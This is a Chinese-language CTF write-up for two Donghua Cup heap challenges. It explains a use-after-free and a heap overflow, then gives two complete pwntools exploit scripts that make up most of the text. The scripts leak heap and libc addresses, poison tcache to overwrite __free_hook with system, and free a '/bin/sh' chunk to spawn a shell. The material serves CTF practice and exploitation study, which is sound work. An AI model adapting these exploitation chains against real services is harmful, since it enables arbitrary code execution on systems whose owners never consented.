最近打东华杯,因为看不懂c++,所以遭重了。花了一点时间学习C++的反汇编,终于把它拿捏了。
CPP
UAF漏洞,在rm函数中,并没有将指针设置为0.所以我们可以将某个chunk free 后然后直接利用md函数修改其fd指针,从而进行unsortbin_attack
add(0),free(0)后可以直接利用未消除的指针进行泄露地址
这里可以选择覆盖tcache_str为大数,下下次分配chunk时将直接进入unsortbin。
这里需要格外注意的是,这里并未直接将改tcache_num设置为7 ,而是利用tcache和unsortbin的指针指向相差了0x10,因此被分配到最高地址的chunk被free时将会进入unsortbin,而其上一个被free的chunk仍进入tchche这为之后修改tchche的fd提供了方便
第一次free:

第二次free:

也是因为未清除指针的原因,可以直接读出fd的值然后计算出__free_hook
覆盖tcache的fd为__free_hook,然后连续malloc两个chunk,free掉有“/bin/sh\x00”的chunk
#! /usr/bin/python3
from pwn import*
io = process('./cpp2')
elf = ELF("./cpp2")
libc = ELF('./libc-2.31.so')
r = lambda x : io.recv(x)
rx = lambda x: io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
def ad(idx,size):
sla('>>',str(1))
sla('I:>>',str(idx))
sla('S:>>',str(size))
def md(idx,con):
sla('>>',str(2))
sla('I:>>',str(idx))
sla('V:>>',con)
def rm(idx):
sla('>>',str(4))
sla('I:>>',str(idx))
def dp(idx):
sla('>>',str(3))
sla('I:>>',str(idx))
ad(0,0x67)
ad(1,0x67)
ad(2,0x67)
ad(3,0x67)
rm(0)
rm(1)
dp(1)
io.recvuntil('\n')
heap = u64(io.recv(6).ljust(8,b'\x00')) - 0x12EC0 + 0x10
print("heap----->"+hex(heap))
md(1,p64(heap))
ad(4,0x67)
ad(5,0x67)
md(5,b'\x00'*0x48+b'\x00'*6+b'\x07')
#md(5,b'\x00'*10 + b'\x07')
rm(3)
rm(5)
dp(5)
leak = u64(io.recvuntil('\x7f')[-6:] + b'\x00\x00')
free = leak - 96 - 0x10 - libc.sym['__malloc_hook'] + libc.sym['__free_hook']
system = leak - 96 - 0x10 - libc.sym['__malloc_hook'] + libc.sym['system']
print(hex(leak))
print(hex(free))
md(3,p64(free))
ad(6,0x67)
md(6,b'/bin/sh\x00')
ad(7,0x67)
md(7,p64(system))
rm(6)
#gdb.attach(io)
io.interactive()
CPP2
堆溢出漏洞
填充tcache至满,再次free进入unsorbin,截取泄露libc.
通过堆溢出漏洞修改tcache fd,进行unsortbin_attack.
#! /usr/bin/python3
from pwn import *
sh = process('./cpp')
elf = ELF('./cpp')
libc = ELF('./libc-2.31.so')
def ad(idx, size):
sh.sendlineafter(">>\n", '1')
sh.sendlineafter("I:>>\n", str(idx))
sh.sendlineafter("S:>>\n", str(size))
def md(idx, content):
sh.sendlineafter(">>\n", '2')
sh.sendlineafter("I:>>\n", str(idx))
sh.sendlineafter("V:>>\n", content)
def dp(idx):
sh.sendlineafter(">>\n", '3')
sh.sendlineafter("I:>>\n", str(idx))
def rm(idx):
sh.sendlineafter(">>\n", '4')
sh.sendlineafter("I:>>\n", str(idx))
for i in range(9):
ad(i,0x88)
for i in range(7,0,-1):
rm(i)
rm(0)
ad(9,0x78)
dp(9)
#gdb.attach(sh)
leak = u64(sh.recvuntil('\x7f')[-6:]+b'\x00\x00')
base = leak - 224 -0x10 - libc.sym['__malloc_hook']
free = base + libc.sym['__free_hook']
system = base + libc.sym['system']
print(hex(leak))
print(hex(free))
print(hex(system))
ad(1,0x88)
md(1,b'a'*0x90 + p64(free))
ad(2,0x88)
md(2,b'/bin/sh\x00')
ad(3,0x88)
md(3,p64(system))
rm(2)
#gdb.attach(sh)
sh.interactive()




